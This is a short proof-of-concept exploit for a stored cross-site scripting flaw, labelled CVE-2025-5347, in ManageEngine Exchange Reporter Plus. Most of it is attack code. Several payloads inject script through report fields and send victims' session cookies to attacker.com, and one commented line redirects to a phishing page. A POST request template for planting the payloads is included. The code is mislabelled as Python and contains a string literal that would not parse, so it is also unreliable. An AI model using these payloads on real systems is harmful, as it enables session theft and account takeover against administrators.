The following code is for security research and authorized testing only.
python
// CVE-2025-5347 PoC - Stored XSS in ManageEngine Exchange Reporter Plus
// This PoC demonstrates how to exploit the stored XSS vulnerability
// Step 1: Inject malicious JavaScript via report creation
const xssPayload = '<script>\n // Steal session cookies
fetch("https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie));
// Or perform actions on behalf of the user
// document.location = "https://attacker.com/phishing";
</script>';
// Example HTTP POST request to create a malicious report
const exploitReport = {
method: 'POST',
path: '/api/reports',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer <session_token>'
},
body: JSON.stringify({
reportName: 'Test Report' + xssPayload,
reportDescription: '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'+
'<script>new Image().src=\'https://attacker.com/capture?c=\'+document.cookie</script>',
module: 'reports',
// Other required parameters...
})
};
// Step 2: When admin views the report, XSS executes
// The malicious script will:
// 1. Extract session cookies/tokens
// 2. Send them to attacker-controlled server
// 3. Potentially perform actions as the logged-in user
// Simple detection PoC:
const simplePoc = '<script>alert("XSS CVE-2025-5347")</script>';
// Inject this into report name field and trigger when viewed